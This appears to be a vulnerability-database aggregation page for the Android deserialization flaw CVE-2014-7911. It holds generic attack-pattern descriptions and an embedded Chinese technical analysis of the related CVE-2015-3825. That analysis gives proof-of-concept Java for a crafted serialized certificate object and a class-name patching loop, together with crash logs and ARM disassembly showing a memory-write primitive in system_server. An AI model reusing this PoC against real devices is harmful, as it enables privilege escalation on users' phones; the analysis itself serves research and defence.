Vulnerabilities > CVE-2014-7911 - Permissions, Privileges, and Access Controls vulnerability in Google Android

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN

Summary

luni/src/main/java/java/io/ObjectInputStream.java in the java.io.ObjectInputStream implementation in Android before 5.0.0 does not verify that deserialization will result in an object that met the requirements for serialization, which allows attackers to execute arbitrary code via a crafted finalize method for a serialized object in an ArrayMap Parcel within an intent sent to system_service, as demonstrated by the finalize method of android.os.BinderProxy, aka Bug 15874291.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/130778/androidunflatten-overflow.txt
idPACKETSTORM:130778
last seen2016-12-05
published2015-03-12
reporterGuang Gong
sourcehttps://packetstormsecurity.com/files/130778/Google-Android-Integer-Oveflow-Heap-Corruption.html
titleGoogle Android Integer Oveflow / Heap Corruption

Seebug

bulletinFamilyexploit
description文章作者:没羽@阿里移动安全 来源: http://drops.wooyun.org/papers/10235 序 ---- 序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。 Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。 1. 漏洞成因 --- 这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。 2.1 --- Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足: 1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类; 2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型); 3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve); 其中mContext就是要找的可被攻击控制的指针。 我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate,如下: ``` public class ApenSSLX509Certificate implements Serializable { //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator public final long mContext; ApenSSLX509Certificate(long ctx) { mContext = ctx; } } ``` 注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用: ``` com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL); b.putSerializable("eatthis", evilProxy); ``` 和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名 ``` int l = data.length; for (int i=0; i<l-4; i++) { if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') { data[i] = 'O'; break; } } ``` 类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD中,安装、运行PoC,我们看到: ``` E/CVE-2014-7911-trace(1669): setApplicationRestrictions E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417) at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124) at android.os.IUserManager$Stub.onTransact(IUserManager.java:245) W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404) W/System.err(1669): at dalvik.system.NativeStart.run(Native Method) E/UserManagerService(1669): Error writing application restrictions list ``` 也是强制类型转换导致异常,与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同,因为传入的object本身不是序列化的对象,致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate强制转换为java.lang.String[]而产生的异常。 验证PoC过程中,在Android 4.4.2 AVD,只触发了“Error writing application restrictions list”异常,但是GC资源回收没被触发 在Android 5.1.1 AVD,可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源,最后导致system_server的crash: ``` A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon) I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys' I/DEBUG(61): Revision: '0' I/DEBUG(61): ABI: 'arm' I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon >>> system_server <<< I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f I/DEBUG(61): r0 00000000 r1 0000000c r2 00000000 r3 00000000 I/DEBUG(61): r4 b6c9766f r5 00000003 r6 ffffffff r7 7f7f7f8f I/DEBUG(61): r8 00000075 r9 b6c24ac9 sl a78fbaa4 fp 13068980 I/DEBUG(61): ip 00000001 sp a78fba58 lr b6c3da1d pc b6c3da1c cpsr 60000030 I/DEBUG(61): backtrace: I/DEBUG(61): #00 pc 00072a1c /system/lib/libcrypto.so (CRYPTO_add_lock+59) I/DEBUG(61): #01 pc 000579b1 /system/lib/libcrypto.so (asn1_do_lock+68) I/DEBUG(61): #02 pc 0005646f /system/lib/libcrypto.so 09-06 20:31:31.394: I/DEBUG(61): #03 pc 00056415 /system/lib/libcrypto.so (ASN1_item_free+12) 09-06 20:31:31.395: I/DEBUG(61): #04 pc 00017c0d /data/dalvik-cache/arm/system@[email protected] 09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms 09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01 ``` 2.2 异常分析 --- 这里基于Android 5.1.1 AVD上的分析。 上面说到,“TRANSACTION_setApplicationRestrictions”请求发出后,导致一个异常,然后GC回收资源。 从源代码分析,GC调用OpenSSLX509Certificate. finalize(): ``` @Override protected void finalize() throws Throwable { try { if (mContext != 0) { NativeCrypto.X509_free(mContext); } } finally { super.finalize(); } } ``` 然后调用NativeCrypto.X509_free()方法,该方法在NativeCrypto.java定义如下: public static native void X509_free(long x509ctx); 最终是在libjavacrypto.so中实现的,该函数定义在org_conscrypt_NativeCrypto.cpp文件中: ``` static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) { X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref)); JNI_TRACE("X509_free(%p)", x509); if (x509 == NULL) { jniThrowNullPointerException(env, "x509 == null"); JNI_TRACE("X509_free(%p) => x509 == null", x509); return; } X509_free(x509); } ``` NativeCrypto_X509_free函数最后调用的X509_free是OpenSSL库提供的接口,关于如何找到该函数实现请参考附录一。 根据上面分析得到信息,在动态调试时,我们在libjavacrypto.so:: NativeCrypto_X509_free函数中下断, ``` .text:00008C1C sub_8C1C ; DATA XREF: .data:000175ACo .text:00008C1C CBNZ R2, loc_8C26 .text:00008C1E LDR R1, =(aX509Null - 0x8C24) .text:00008C20 ADD R1, PC ; "x509 == null" .text:00008C22 B.W j_j_j_jniThrowNullPointerException .text:00008C26 .text:00008C26 loc_8C26 ; CODE XREF: sub_8C1Cj .text:00008C26 MOV R0, R2 .text:00008C28 B.W j_j_X509_free .text:00008C28 ; End of function sub_8C1C ``` 下断点后,有时会碰到单步执行异常,笔者使用的一个办法供参考:设置该lib库的所有内存节属性为可写的。 在j_j_X509_free中单步步入,到libcrypto.so: ASN1_item_free函数, ``` .text:00056408 EXPORT ASN1_item_free .text:00056408 ASN1_item_free ; CODE XREF: j_ASN1_item_free+8j .text:00056408 ; DATA XREF: .got:ASN1_item_free_ptro .text:00056408 .text:00056408 var_C = -0xC .text:00056408 .text:00056408 PUSH.W {R11,LR} .text:0005640C SUB SP, SP, #8 .text:0005640E STR R0, [SP,#0x10+var_C] .text:00056410 ADD R0, SP, #0x10+var_C .text:00056412 MOVS R2, #0 .text:00056414 BL sub_56420 .text:00056418 ADD SP, SP, #8 .text:0005641A POP.W {R11,PC} .text:0005641A ; End of function ASN1_item_free ``` sub_56420即为asn1_item_combine_free函数,定义为: ```static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)``` 我们继续分析这个函数, ``` .text:00056420 sub_56420 ; CODE XREF: ASN1_item_free+Cp .text:00056420 ; ASN1_item_ex_free+2j ... .text:00056420 PUSH.W {R4-R10,LR} .text:00056424 MOV R10, R0 ; R0: pval, &mContext; .text:00056426 MOV R8, R2 ; R1: combine, int; .text:00056428 MOV R5, R1 ; R1: it, ASN1_ITEM; .text:00056428 ; libcrypto.so:X509_NAME_TYPE_it .text:0005642A CMP.W R10, #0 ; if (!pval) return; .text:0005642E BEQ.W def_5645A ; jumptable 0005645A default case .text:00056432 LDRB R1, [R5] ; R1 <- it->itype; .text:00056434 LDR R0, [R5,#0x10] ; R0 <- aux = it->funcs; .text:00056436 CBZ R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0 .text:00056438 LDR.W R2, [R10] ; !*pval .text:0005643C CMP R2, #0 .text:0005643E BEQ.W def_5645A ; jumptable 0005645A default case ``` 如分号后的备注所写,这段代码将初始相关变量:将&mContext存入R10,combine存入R2,it存入R5,然后验证参数的合法性。代码继续,获取aux->asn1_cb存入R9中: ``` .text:00056442 loc_56442 ; CODE XREF: sub_56420+16j .text:00056442 CMP R0, #0 .text:00056444 ITT NE .text:00056446 LDRNE.W R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb; .text:0005644A CMPNE.W R9, #0 .text:0005644E BNE loc_56454 ; switch(it->itype) .text:00056450 MOV.W R9, #0 ``` 继续,接下来调用asn1_do_lock函数: ``` .text:00056466 MOV R0, R10 ; jumptable 0005645A cases 1,6 .text:00056468 MOV.W R1, #0xFFFFFFFF ; 传入-1 .text:0005646C MOV R2, R5 ; it .text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it) .text:0005646E ; 走到这了,crash在这个函数 .text:00056472 CMP R0, #0 .text:00056474 BGT def_5645A ; jumptable 0005645A default case ``` 此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的&mContext,R1为-1,R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析,取出it->funcs放入R2: ``` .text:00057984 LDR R2, [R2,#0x10] ; aux = it->funcs; .text:00057986 CMP R2, #0 ``` 再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12: ``` .text:00057992 LDR R3, [R2,#8] ; aux->ref_offset .text:00057994 CMP R1, #0 .text:00057996 LDR R0, [R0] ; R0 = &mContext .text:00057998 ADD.W R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset); .text:0005799C BEQ loc_579B6 ``` 接下来是调用CRYPTO_add_lock函数: ``` .text:000579A2 MOVS R0, #0x75 .text:000579A4 LDR R3, =(aExternalOpe_43 - 0xFA1D8) .text:000579A6 ADD LR, PC ; _GLOBAL_OFFSET_TABLE_ .text:000579A8 LDR R2, [R2,#0xC] ; aux->ref_lock .text:000579AA ADD R3, LR ; "external/openssl/crypto/asn1/tasn_utl.c" .text:000579AC STR R0, [SP,#0x10+var_10] ; line: 0x75 -> 117 .text:000579AE MOV R0, R12 .text:000579B0 BLX j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) ``` 进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中: ``` .text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) .text:000729E0 EXPORT CRYPTO_add_lock .text:000729E0 CRYPTO_add_lock ; CODE XREF: j_CRYPTO_add_lock+8j .text:000729E4 MOV R7, R0 ; R7 = (char*)mContext+aux->ref_offset ... ... .text:000729E8 MOV R6, R1 ; R1 = -1 … … .text:00072A1C LDR R0, [R7] ; Crash在这,此时R7为0x7F7F7F8F .text:00072A24 ADD R6, R0 … … .text:00072A28 STR R6, [R7] ; 如果R7指向的内存为写的,这里可以实现任意写 ``` 调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext-> references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法: ``` case ASN1_ITYPE_SEQUENCE: if (asn1_do_lock(pval, -1, it) > 0) return; if (asn1_cb) { i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL); if (i == 2) return; } ``` 当asn1_do_lock返回为0,即mContext-> references为0时,才调用asn1_cb函数释放资源。 继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。 Google的修复方法【2】是给mContext成员添加transient修饰符,使其不被序列化。 3.总结 --- 在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(多次减1)漏洞。 4 参考 --- 【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf 【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540 【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540 【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c 5 附录 --- #### 如何找到那个叫X509_free的函数 在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现,这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构,X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的: ``` IMPLEMENT_ASN1_FUNCTIONS(X509) ``` 顺藤摸瓜找出下面几个嵌套的宏: ``` #define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \ IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \ IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) #define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \ stname *fname##_new(void) \ { \ return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \ } \ void fname##_free(stname *a) \ { \ ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \ } #define ASN1_ITEM_rptr(ref) (&(ref##_it)) ``` 映射到X509的定义,可以翻译如下: ``` X509 * X509_new(void) \ { \ return (X509 *)ASN1_item_new(&X509_it); \ } \ void X509_free(X509 *a) \ { \ ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \ } ```
idSSV:89714
last seen2017-11-19
modified2015-11-10
published2015-11-10
reporterRoot
titleOpenSSLX509Certificate 反序列化漏洞

The Hacker News

idTHN:DB8DCF8CE4DFB98DBF1EE72DB8443300
last seen2018-01-27
modified2014-11-20
published2014-11-19
reporterWang Wei
sourcehttps://thehackernews.com/2014/11/billions-of-android-devices-vulnerable.html
titleBillions of Android Devices Vulnerable to Privilege Escalation Except Android 5.0 Lollipop